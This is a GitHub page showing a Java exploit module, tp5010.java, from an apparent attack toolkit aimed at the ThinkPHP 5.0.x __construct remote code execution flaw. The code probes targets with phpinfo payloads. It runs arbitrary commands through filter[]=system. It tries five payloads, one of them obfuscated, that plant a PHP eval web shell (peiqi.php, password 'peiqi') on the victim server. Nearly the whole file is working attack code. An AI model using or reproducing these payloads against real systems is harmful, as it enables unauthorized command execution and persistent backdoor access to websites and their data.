-
Notifications
You must be signed in to change notification settings - Fork 185
Expand file tree
/
Copy pathtp5010.java
More file actions
executable file
·85 lines (74 loc) · 3.33 KB
/
tp5010.java
File metadata and controls
executable file
·85 lines (74 loc) · 3.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package exploit;
import com.github.kevinsawicki.http.HttpRequest;
import util.BasePayload;
import util.Module;
import util.Result;
import java.util.ArrayList;
/**
* Author 莲花 2021/6/15
*/
//ThinkPHP <= 5.0.13
public class tp5010 implements BasePayload {
public Result checkVUL(String url) {
String CheckStr = "PHP Version";
Module m = new Module();
String module = m.getModule(url);
String payload_url = url + "/?s=" + module;
ArrayList<String> payloads = new ArrayList<String>() {{
add("_method=__construct&method=get&filter[]=phpinfo&get[]=-1");
add("s=-1&_method=__construct&method=get&filter[]=phpinfo");
}};
for (String payload : payloads) {
try {
HttpRequest req = HttpRequest.post(payload_url).send(payload);
if (req.body().contains(CheckStr)) {
return new Result(true, "ThinkPHP 5.0.10 construct RCE", payload_url + " Post: " + payload);
}
} catch (Exception e) {
e.printStackTrace();
}
}
return new Result(false, "ThinkPHP 5.0.10 construct RCE", "");
}
public Result exeVUL(String url, String cmd) throws Exception {
Module m = new Module();
String module = m.getModule(url);
String payload_url = url + "/?s=" + module;
String payload_rce = "s=" + cmd + "&_method=__construct&method&filter[]=system";
try {
String response = HttpRequest.post(payload_url).send(payload_rce).body();
String res = response.substring(0, response.indexOf("<"));
if (res.equals("")) {
return new Result(true, "", response);
}
return new Result(true, "", res);
} catch (Exception e) {
e.printStackTrace();
}
return new Result(false, null, null);
}
public Result getShell(String url) throws Exception {
Module m = new Module();
String module = m.getModule(url);
String payload_url = url + "/?s=" + module;
ArrayList<String> payloads = new ArrayList<String>() {{
add("_method=__construct&filter[]=system&mytest=echo '<?php @eval($_POST['peiqi'])?>' >>peiqi.php");
add("_method=__construct&method=get&filter[]=assert&get[]=file_put_contents('./peiqi.php','<?php%20@eval($_POST[%27peiqi%27])?>');");
add("_method=__construct&method=get&filter[]=assert&get[]=/*1111*//***/file_put_contents/*1**/(/***/'./peiqi.php',/***/'<?php%20@eval($_POST[%27peiqi%27])?>'/***/);');");
add("s=file_put_contents('./peiqi.php','<?php%20@eval($_POST[%27peiqi%27])?>');&_method=__construct&method=&filter[]=assert");
add("_method=__construct&method=get&filter[]=assert&get[]=copy('<?php%20@eval($_POST[%27peiqi%27])?>', './peiqi.php');");
}};
for (String payload : payloads) {
try {
String res = HttpRequest.post(payload_url).send(payload).body();
int code = HttpRequest.get(url + "/peiqi.php").code();
if (code == 200) {
return new Result(true, "", url + "/peiqi.php Pass:peiqi");
}
} catch (Exception e) {
e.printStackTrace();
}
}
return new Result(false, null, null);
}
}